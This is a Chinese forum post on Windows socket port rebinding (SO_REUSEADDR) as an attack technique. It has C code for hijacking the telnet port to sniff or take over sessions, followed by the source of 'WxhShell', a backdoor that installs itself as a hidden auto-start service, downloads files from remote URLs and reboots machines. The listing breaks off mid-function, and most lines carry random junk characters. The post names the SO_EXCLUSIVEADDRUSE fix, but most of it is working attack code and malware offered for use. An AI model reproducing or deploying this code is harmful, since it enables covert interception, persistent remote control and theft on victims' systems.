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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BwWSztJ+B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2/ 4zg  
IrL%0&*hS  
  saddr.sin_family = AF_INET;  b M1\z  
[ *Dj:A)V^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AaYH(2m-  
~Q_7HJ=^$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^ 0YQlT98  
[=(8yUV'G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x9 Z89Gwi  
Qz[^J  
  这意味着什么?意味着可以进行如下的攻击: Kz42AC  
G*N[tw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $$m0mK  
I%J>~=]n_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v>wN O  
?) y}HF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $!*>5".A  
t/;0/ql\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =Mx"+/Yo*  
|;US)B8}*Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7G_<+rn  
4 -tC=>>wc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o`c+eMwr(  
*eoH"UFYQ#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U}jGr=tu  
~QbHp|g  
  #include gF p3=s0~  
  #include wL8j i>"  
  #include hP+4{F*}-  
  #include    HMF2sc$N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "6'",  
  int main() }%Mdf6LS64  
  { {C 5:as  
  WORD wVersionRequested; u&I c  
  DWORD ret; !-}Q{<2@W  
  WSADATA wsaData; gttsxOgktH  
  BOOL val; ht2Fi e  
  SOCKADDR_IN saddr; iKaX8c,zI  
  SOCKADDR_IN scaddr; ^!S4?<v  
  int err; xZ {6!=4!  
  SOCKET s; .9vS4C  
  SOCKET sc; iXm&\.%  
  int caddsize; v<v;ZR)  
  HANDLE mt; O6Py  
  DWORD tid;   h&j2mv(  
  wVersionRequested = MAKEWORD( 2, 2 ); F[}#7}xjA  
  err = WSAStartup( wVersionRequested, &wsaData ); r[V%DU$dj  
  if ( err != 0 ) { @}4>:\es  
  printf("error!WSAStartup failed!\n"); Hy3J2p9.  
  return -1; 4N,[Gs<7  
  } Hes!uy  
  saddr.sin_family = AF_INET; x >ah,  
   Fl.?*KBz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v>LK+|U  
H7+z"^s*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3yRvs;nWS  
  saddr.sin_port = htons(23); }BM`4/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bWA_a]G  
  { b~&cYk'  
  printf("error!socket failed!\n"); "^z%|uXkf  
  return -1; FL\pgbI  
  } fC'u-m?!Q'  
  val = TRUE; 4|_xz; i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^4`x:6m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u;9iuc` *  
  { R8[VD iM6E  
  printf("error!setsockopt failed!\n"); }T.>p#z  
  return -1; ,5zY1C==Ut  
  } H'3 pHb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GImPPF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sP^:*B0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jy:*GW6  
%6(\Ki6I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2T*kmDp  
  { K7 C <}y  
  ret=GetLastError(); k+{~#@  
  printf("error!bind failed!\n"); -I{op wd  
  return -1; :i>LESJq  
  } Ru`afjc  
  listen(s,2); 5*2hTM!  
  while(1) &]a(5  
  { 8US35t:M  
  caddsize = sizeof(scaddr); ?&0CEfa?  
  //接受连接请求 >A D!)&c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e- `9-U%6  
  if(sc!=INVALID_SOCKET) XwEMF5[  
  { D>jtz2y=D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ch?yk^cY  
  if(mt==NULL) BD]J/o  
  { ,9G'1%z,  
  printf("Thread Creat Failed!\n"); xytWE:=  
  break; agfDx ^,  
  } m>Wt'Cc  
  } B> E4,"  
  CloseHandle(mt); 9HR1m 3  
  } ;s,1/ kA  
  closesocket(s); by9UwM=gp  
  WSACleanup(); J37vA zK%  
  return 0; G0: <#?<5  
  }   w@2NXcmw  
  DWORD WINAPI ClientThread(LPVOID lpParam) a`yCPnB(  
  { 4;~xRg;u&*  
  SOCKET ss = (SOCKET)lpParam; I;jH'._k#  
  SOCKET sc; gAvNm[=wD2  
  unsigned char buf[4096]; P}AwE,&Q  
  SOCKADDR_IN saddr; prO&"t >  
  long num; o]p$ w[5  
  DWORD val; o!h::j0,~  
  DWORD ret; VB/75xK_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~uY5~Qs9G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U !+O+(  
  saddr.sin_family = AF_INET; ]z7pa^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0o7o;eN  
  saddr.sin_port = htons(23); >1Iw!SO+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t_I-6`8o]  
  { nZj&Ma7R  
  printf("error!socket failed!\n"); |7|'J Ty  
  return -1; rk=w~IZJ3  
  } dW/(#KP/+  
  val = 100; )%Xp?H_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Rj bm'kC  
  { xM)P=y_!M+  
  ret = GetLastError(); S9:ij1  
  return -1; y46sL~HRv  
  } IH*G7;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jyd[Sc)  
  { -"Kjn`8  
  ret = GetLastError(); 71(ppsHk  
  return -1; CA|W4f}  
  } /!&eP3^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G@rh/b<$  
  { [D|Uwq  
  printf("error!socket connect failed!\n"); 3J4OkwqD  
  closesocket(sc); uAYDX<Ja9  
  closesocket(ss); 0 Q>  
  return -1; FFwu$S6e  
  } H RahBTd(z  
  while(1) Y"5FK  
  { ve/.q^JeJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }nM+"(}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wf:X) S7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "JF   
  num = recv(ss,buf,4096,0); J|V*g]#kP  
  if(num>0) :ldI1*@i<  
  send(sc,buf,num,0); J'#o6Ud  
  else if(num==0) SPT x-b[  
  break; {IB4%,qT  
  num = recv(sc,buf,4096,0); P5XUzLV L  
  if(num>0) G?s;L NR  
  send(ss,buf,num,0); qoQ,3&<  
  else if(num==0) wMm+E "}W  
  break; 6a]Qg99\  
  } Nsy>qa7  
  closesocket(ss); h/aG."U  
  closesocket(sc); G^P9_Sw]d3  
  return 0 ; , Z1 &MuV  
  } 0a?[@ -Sz  
*Q -uE  
'&AeOn  
========================================================== V-%jSe<  
o9D#d\G  
下边附上一个代码,,WXhSHELL nm|"9|/  
OlW5k`B  
========================================================== 5?#AS#TD'  
.Pe^u%J6F  
#include "stdafx.h" `sdbo](76  
U z)G Y  
#include <stdio.h> 0rDQJCm  
#include <string.h> FGMYpapc~  
#include <windows.h> `+(JwQC4  
#include <winsock2.h> EffU-=?%!  
#include <winsvc.h> (=53WbOh/t  
#include <urlmon.h> cpq0' x\  
]x_14$rk  
#pragma comment (lib, "Ws2_32.lib") oe_,q&e  
#pragma comment (lib, "urlmon.lib") Q `h@-6N  
o2y #Yk  
#define MAX_USER   100 // 最大客户端连接数 K]U8y$^  
#define BUF_SOCK   200 // sock buffer tdi}P/x  
#define KEY_BUFF   255 // 输入 buffer vf<Tq  
AIQ]lQ(  
#define REBOOT     0   // 重启 TY#pj  
#define SHUTDOWN   1   // 关机 XKBQH(  
fJ-8$w\uL  
#define DEF_PORT   5000 // 监听端口 scEE$:  
6~Zq  
#define REG_LEN     16   // 注册表键长度 ~:4Mf/Ca  
#define SVC_LEN     80   // NT服务名长度 iaaD1 <m  
FefS]G  
// 从dll定义API F>q%~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rYA4(rYq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HX:^:pF}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X% M*d%n b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nR?m,J  
g5~1uU$O  
// wxhshell配置信息 5~omZ,qe  
struct WSCFG { j98>Jr\  
  int ws_port;         // 监听端口 u $T'#p1  
  char ws_passstr[REG_LEN]; // 口令 <Y#EiC.  
  int ws_autoins;       // 安装标记, 1=yes 0=no /I#SP/M&l  
  char ws_regname[REG_LEN]; // 注册表键名 / ='/R7~  
  char ws_svcname[REG_LEN]; // 服务名 z:tu_5w!,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [~rBnzb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j0K}nS\ P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '"Dgov$q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u/ 74E0$S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P-lE,X   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1j^FNg ~  
S|v-lJ/I  
}; P^ bcc  
ki_Py5  
// default Wxhshell configuration }~o>H a;  
struct WSCFG wscfg={DEF_PORT, h3L{zOff  
    "xuhuanlingzhe", /&'rQ`nd  
    1, cd*F;h  
    "Wxhshell", L sMS`o6  
    "Wxhshell", \ 5^GUT  
            "WxhShell Service", iu.+bX|b  
    "Wrsky Windows CmdShell Service", bX]$S 5c_u  
    "Please Input Your Password: ", @Nt$B'+S&  
  1, #%tN2cFDN  
  "http://www.wrsky.com/wxhshell.exe", zFV?,"\r  
  "Wxhshell.exe" E2{SKIUm  
    }; J\kv}v  
,n?oNU  
// 消息定义模块 (%EhkTb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IE9A _u*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i(XqoR-x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7L&=z$U@m  
char *msg_ws_ext="\n\rExit."; }Pe0zx.Ge  
char *msg_ws_end="\n\rQuit."; {oN7I'>  
char *msg_ws_boot="\n\rReboot..."; hGvuA9d~  
char *msg_ws_poff="\n\rShutdown..."; }M9L,O*^   
char *msg_ws_down="\n\rSave to "; :<Y, f(c  
t.oP]_mI  
char *msg_ws_err="\n\rErr!"; q6v%HF-q4  
char *msg_ws_ok="\n\rOK!"; w;Na9tR  
2s@<k1EdPl  
char ExeFile[MAX_PATH]; 6<<ihm+  
int nUser = 0; :Yqi5CR  
HANDLE handles[MAX_USER]; '|i<?]U  
int OsIsNt; ff9D{$V5  
J$D#)w!$j  
SERVICE_STATUS       serviceStatus; ;M"JN:J8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J Covk1  
 qTL]  
// 函数声明 miZ&9m  
int Install(void); aE( j_`L78  
int Uninstall(void); jDO[u!J6.%  
int DownloadFile(char *sURL, SOCKET wsh); J0M7f]  
int Boot(int flag); xTW$9>@\m  
void HideProc(void); vHPp$lql  
int GetOsVer(void); p M:lg  
int Wxhshell(SOCKET wsl); z@3t>k|K  
void TalkWithClient(void *cs); 7Z/KXc[b  
int CmdShell(SOCKET sock); a:tCdnK/  
int StartFromService(void); jn9KQe\3  
int StartWxhshell(LPSTR lpCmdLine); iWZrZ5l  
V '4sOn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D?3^>h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yvu!Q  
fWywegh  
// 数据结构和表定义 0x\bDWZ_  
SERVICE_TABLE_ENTRY DispatchTable[] = T Prqb  
{ @<O Bt d  
{wscfg.ws_svcname, NTServiceMain}, u<l[S  
{NULL, NULL} Wo@0yF@  
}; q}#4bB9  
N%\!eHxy  
// 自我安装 2\M^ _x$N  
int Install(void) {WJ+6!v  
{ c _li.]P  
  char svExeFile[MAX_PATH]; \ueo^p]_?  
  HKEY key; Q9 b.]W  
  strcpy(svExeFile,ExeFile); X rVF %  
j ,' $i[F'  
// 如果是win9x系统,修改注册表设为自启动 Eh)PZvH  
if(!OsIsNt) { Z!P7mH\c}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c1?_L(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Jc[`2Uv_c  
  RegCloseKey(key); Re{vO&.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {]/}3t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %(,Kj ~0  
  RegCloseKey(key); ?6F\cl0.  
  return 0; 7Rf${Wv0  
    } W4Ey]y"  
  } ew# t4~hh  
} WCc,RI0   
else { 25RFi24>D  
%EuJ~;x(Mg  
// 如果是NT以上系统,安装为系统服务 qJb9JL$s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B'OUT2cgB  
if (schSCManager!=0) ruG5~dm>  
{ 90o G+T4  
  SC_HANDLE schService = CreateService >i%{5d  
  ( ndn)}Z!0h  
  schSCManager, -lL(:drn  
  wscfg.ws_svcname, 8[Ssrk  
  wscfg.ws_svcdisp, RjY(MSc  
  SERVICE_ALL_ACCESS, .mzy?!w0q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VFj}{Y  
  SERVICE_AUTO_START, }]ak6'|[  
  SERVICE_ERROR_NORMAL, W *t+!cU/:  
  svExeFile, _s/ 5oRHA  
  NULL, v&p|9C@  
  NULL, &>zzR$#1  
  NULL, K]{Y >w  
  NULL, yF-EHNNf  
  NULL [%M=nJ{8  
  ); Wm{Lg0Nr  
  if (schService!=0) (,wIbwa  
  { ?8AchbK; N  
  CloseServiceHandle(schService); @7Oqp-  
  CloseServiceHandle(schSCManager); 3xSt -MA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nm)H\i  
  strcat(svExeFile,wscfg.ws_svcname); );o2e V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~)X yrKw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u]K&H&AxT  
  RegCloseKey(key); 4NaL#3  
  return 0; 7JvBzD42  
    } %l4LX~-:  
  } kcg{z8cd'r  
  CloseServiceHandle(schSCManager); zO BLF|L=  
} j\kT H  
} )YE3n-~7{  
P;7JK=~k  
return 1; q#RUL!WF7U  
} lxIo P  
s9R#rwIc  
// 自我卸载 I d6H~;  
int Uninstall(void) OIpkXM  
{ ,Jm2|WKH  
  HKEY key; jlvh'y`  
' U]\]Wp  
if(!OsIsNt) { @]v}& j7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (gY3?&Ok*  
  RegDeleteValue(key,wscfg.ws_regname); eD4D<\*  
  RegCloseKey(key); ws1io.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l`S2bb6uMR  
  RegDeleteValue(key,wscfg.ws_regname); #aX+?z\4  
  RegCloseKey(key); 37OU  
  return 0; }H^h ~E  
  } dwd5P7  
} <$6r1y*G  
} {k CCpU  
else { kj_MzgC'?  
 .dA_}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~m:oJ+:O  
if (schSCManager!=0) (}Q(Ux@X  
{ _ebo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0,b.;r  
  if (schService!=0) vO>Fj  
  { T_\Nvzb}  
  if(DeleteService(schService)!=0) { ;gS)o#v0  
  CloseServiceHandle(schService); YfRjr  
  CloseServiceHandle(schSCManager); Gw!VPFV>W  
  return 0; sIUhk7Cd8  
  } w ]8+ OP  
  CloseServiceHandle(schService); oT7 6)O  
  } uX82q.u_y  
  CloseServiceHandle(schSCManager); %.k~L  
} Z3C]n,I  
} ,z4)A&F[c;  
_"_ 21uB  
return 1; %r E:5)  
} PHQ7  
 |2<y  
// 从指定url下载文件 3jSt&+  
int DownloadFile(char *sURL, SOCKET wsh) I+08tXO  
{ pco:]3BF6  
  HRESULT hr; G>siyUh  
char seps[]= "/"; B*0TM+  
char *token; Y -yozt  
char *file; #mT\B[4h  
char myURL[MAX_PATH]; .r ,wc*SF  
char myFILE[MAX_PATH]; Pz\4#E]  
(G1KMy  
strcpy(myURL,sURL); 8jBrD1  
  token=strtok(myURL,seps); olm0O  (9  
  while(token!=NULL) !4.VK-a9V%  
  { JM&`&fsOC{  
    file=token; Q$Q>pV;uH  
  token=strtok(NULL,seps); `$PdI4~J  
  } ]rNM3@bVy  
2:5Go  
GetCurrentDirectory(MAX_PATH,myFILE); ]|m?pt  
strcat(myFILE, "\\"); nXU`^<nA  
strcat(myFILE, file); u[:-^H  
  send(wsh,myFILE,strlen(myFILE),0); `T'[H/  
send(wsh,"...",3,0); t=l@(%O 0_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^LI\W'K  
  if(hr==S_OK) o#Gf7.E8  
return 0; 6Qc *:(GE  
else ! 3 ;;6  
return 1; Vs1H)T%  
1k)31GEQw  
} 83(-/ y  
Z;ze{Vb  
// 系统电源模块 v(0IQ  
int Boot(int flag) As{Q9o5j/  
{ e w%rc.;  
  HANDLE hToken;  !n`9V^`  
  TOKEN_PRIVILEGES tkp; "?*B2*|}`  
,=a+;D]'  
  if(OsIsNt) { ]F{F+r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #]rfKHW9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G;ihm$Cad  
    tkp.PrivilegeCount = 1; $~3?nib"j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O*SJx.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FOyANN'  
if(flag==REBOOT) { wC>}9OM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7v']wA r]  
  return 0; Wq2 Bo*[*  
} dz6&TdEl  
else {  2S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7+NBcZuG9  
  return 0; @ ^q}.u`  
} WJlJD*3  
  } 7_9^nDU  
  else { 8l>7=~Egp  
if(flag==REBOOT) { q _INGCJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o[aP+O Md  
  return 0; 9oj#5Hq  
} 9GX'+$R]  
else { FfRvi8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Od("tLIO}I  
  return 0; Dz3~cuVb  
} BCmKzv  
} NwcRH9};i  
&W8fEQwa  
return 1; |4C5;"Pc  
} <YM!K8hu$  
P<CPA7K  
// win9x进程隐藏模块 2RU/oqmR  
void HideProc(void) ~v@.YJoZ4Z  
{ wzj :PS  
HIq e~Vc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FrsXLUY  
  if ( hKernel != NULL ) &c^tJ-s  
  { \zJb}NbnT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ms&6N']  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r0Zj'F_e  
    FreeLibrary(hKernel); C14"lB.  
  } 3o2x&v  
kmg/hNtN  
return; \IhHbcF`d  
} ;uho.)%N`F  
wii.0~p  
// 获取操作系统版本 yJ:rry  
int GetOsVer(void) F Jp<J  
{ 7\AoMk}  
  OSVERSIONINFO winfo; }U^iVq*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e>UU/Ks  
  GetVersionEx(&winfo); mwMcAUD]2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yR% l[/ X  
  return 1; 6T5\zInd  
  else sB*!Nf^y  
  return 0; v'Pbx  
} 1j]vJ4R_\  
rMoz+{1A  
// 客户端句柄模块 58t_j54  
int Wxhshell(SOCKET wsl) ,`8:@<e  
{ E#E&z(G2  
  SOCKET wsh; ^U6VJ(58P  
  struct sockaddr_in client; gg.lajX  
  DWORD myID; U]&/F{3 im  
K1=j7  
  while(nUser<MAX_USER) ?L|Ai\|  
{ 0Q~\1D 9g  
  int nSize=sizeof(client); ^)o#/"JA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k]9y+WC2  
  if(wsh==INVALID_SOCKET) return 1; }ww`Y&#  
19:1n]*X<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?jU 3%"  
if(handles[nUser]==0) dG!)<  
  closesocket(wsh); dbg%n 0h  
else .:t&LC][  
  nUser++; q26 qY5D  
  } EeQ2\'t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CHVAs9mrNB  
[4Q;5 'Dj  
  return 0; OGcW]i  
} ,ZZ5A;)  
h05BZrE  
// 关闭 socket ( m7qc  
void CloseIt(SOCKET wsh) :<H4hYt2  
{ N>iNz[a q  
closesocket(wsh); jFl!<ooCo  
nUser--; T3Sz<K$E  
ExitThread(0); 4,&f#=Y  
} 1*f/Y9 Z  
_U o3_us  
// 客户端请求句柄 l>6p')F!  
void TalkWithClient(void *cs) t^=S\1"R\  
{ ,uD}1 G<u  
[[O4_)?el  
  SOCKET wsh=(SOCKET)cs; ;3iWV"&_A  
  char pwd[SVC_LEN]; Q$5%9  
  char cmd[KEY_BUFF]; 4WPco"xH!  
char chr[1]; j>5X^Jd  
int i,j; P=a&>i  
wjTW{Bg~G  
  while (nUser < MAX_USER) { [sK'jQo-[1  
RSx{Gbd4X  
if(wscfg.ws_passstr) { !/]z-z2>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y"iK)SH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 94?/Rhs5  
  //ZeroMemory(pwd,KEY_BUFF); h(i_'P?  
      i=0; 8g?2( MT;  
  while(i<SVC_LEN) { Y}h&dAr  
F5+!Gb En  
  // 设置超时 '8LHX6FXK  
  fd_set FdRead; F5H]$AjW  
  struct timeval TimeOut; Q6p75$SVq  
  FD_ZERO(&FdRead); R8Dn GR  
  FD_SET(wsh,&FdRead); A~;.9{6J[t  
  TimeOut.tv_sec=8; +E+I.}sOB  
  TimeOut.tv_usec=0; ([A%>u>h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YpvFv-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sfp.>bMj  
EiS2-Uh*TT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z3M6<.K  
  pwd=chr[0]; ?[.g~DK,  
  if(chr[0]==0xd || chr[0]==0xa) { L?(m5u~b  
  pwd=0; wS [k}  
  break; 1i#U&  
  } M8VsU*aU  
  i++; /px`FuJI(  
    } wsj5;(f+  
)o;n2T#O  
  // 如果是非法用户,关闭 socket sUZ2A1J}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XUK%O8N#9  
} XcKyrh;i  
G{.A5{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9LUk[V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +WvW#wpH  
} <q=Zq+  
while(1) { ,]4.|A_[Rq  
U\q?tvn'J  
  ZeroMemory(cmd,KEY_BUFF); d3p;[;`  
D7C%Y^K]>E  
      // 自动支持客户端 telnet标准   MNX-D0`g  
  j=0; _:Ov-HIR  
  while(j<KEY_BUFF) { 0Hr)h{!F"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $oIGlKc:L  
  cmd[j]=chr[0]; iJk/fvi  
  if(chr[0]==0xa || chr[0]==0xd) { 3ZqtIQY`  
  cmd[j]=0; <7oZV^nd *  
  break; 8u Z4[  
  } C7!=LiK}  
  j++; ;_1 >nXh  
    } h)T-7b  
F5<GGEQb  
  // 下载文件 _p| KaT``  
  if(strstr(cmd,"http://")) { gWy2E;"a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [jF\"#A  
  if(DownloadFile(cmd,wsh)) $I a-go2W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Y^5 @ x=  
  else NmV][0(BS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9|hPl-. .W  
  } F :-6Htmj  
  else { ;W!hl<``d*  
!Op18hP$  
    switch(cmd[0]) { Q?Uk%t\hwc  
  #~[mn_C  
  // 帮助 <PQ[N[SU  
  case '?': { \JGRd8S[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p+R8Mo;I  
    break; <$`ud P@  
  } pl.=u0 *  
  // 安装 @3>nVa  
  case 'i': { !7anJl  
    if(Install()) MM Nz2DEy[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dUpOg{I.x  
    else 4Jj O.H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h_h6@/1l  
    break; 0"M0tA#  
    } e7gWz~  
  // 卸载 JOx""R8T5  
  case 'r': { <*&2b  
    if(Uninstall()) 0}aw9g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<{+ J U5  
    else cH$Sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); As*59jkB  
    break; \6v*c;ZF  
    } siGt5RH*  
  // 显示 wxhshell 所在路径 &MF%zJ6  
  case 'p': { 5P <  F  
    char svExeFile[MAX_PATH]; !yX4#J(  
    strcpy(svExeFile,"\n\r"); pmi`Er  
      strcat(svExeFile,ExeFile); Yim`3>#t  
        send(wsh,svExeFile,strlen(svExeFile),0); rDWqJ<8  
    break; W= \gPCo  
    } y'pX/5R0  
  // 重启 #oD * H:%*  
  case 'b': { ^k}jPc6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #&c}i n"!  
    if(Boot(REBOOT)) }!g^}BWWp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ba+7CK] w  
    else { u<{uUui}$v  
    closesocket(wsh); VR_bX|  
    ExitThread(0); jR&AQ-H&  
    } gL;tyf1P  
    break; &\o !-EIK8  
    } awa$o  
  // 关机 >P\/\xL=  
